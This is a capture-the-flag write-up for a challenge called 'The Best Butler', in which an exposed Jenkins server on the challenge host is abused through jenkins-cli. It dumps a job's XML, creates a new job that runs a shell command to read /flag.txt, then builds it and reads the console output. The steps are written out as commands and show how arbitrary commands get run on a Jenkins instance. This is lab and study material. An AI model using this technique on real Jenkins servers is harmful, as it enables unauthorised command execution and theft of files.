Logo
The Best Butler
Overview

The Best Butler

May 25, 2025
1 min read
Challenge Description

Author: @Kkevsterrr

Truly, he’s the best butler - he might even be able to serve up a /flag.txt!

NOTE, this challenge might take a bit more time to start. The flag is located at the root of the filesystem (/flag.txt)

Solution

Jenkins running with following “system-backup” Job

changing through GUI is not possible as its broken

download the jenkins-cli https://www.jenkins.io/doc/book/managing/cli/#downloading-the-client

Terminal window
wget http://challenge.nahamcon.com:31404/jnlpJars/jenkins-cli.jar

get a copy of current XML config for a job:

Terminal window
java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ get-job system-backup
<?xml version='1.1' encoding='UTF-8'?>
<project>
<description>Automated backup service for critical system files</description>
<keepDependencies>false</keepDependencies>
<properties/>
<scm class="hudson.scm.NullSCM"/>
<canRoam>false</canRoam>
<disabled>false</disabled>
<blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
<blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
<triggers/>
<concurrentBuild>false</concurrentBuild>
<builders>
<hudson.tasks.Shell>
<command>
echo &quot;Starting system backup process...&quot;
echo &quot;Checking backup directories...&quot;
ls -la /var/backups/important/
echo &quot;Backup process completed.&quot;
</command>
<configuredLocalRules/>
</hudson.tasks.Shell>
</builders>
<publishers/>
<buildWrappers/>
</project>

Edit the config to cat the /flag.txt and create a new job

Terminal window
cat flag.xml | java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ create-job gibflag

check if the job has been created

Terminal window
java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ list-jobs
gibflag
system-backup

start new build:

Terminal window
java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ build gibflag

view the console:

Terminal window
java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ console gibflag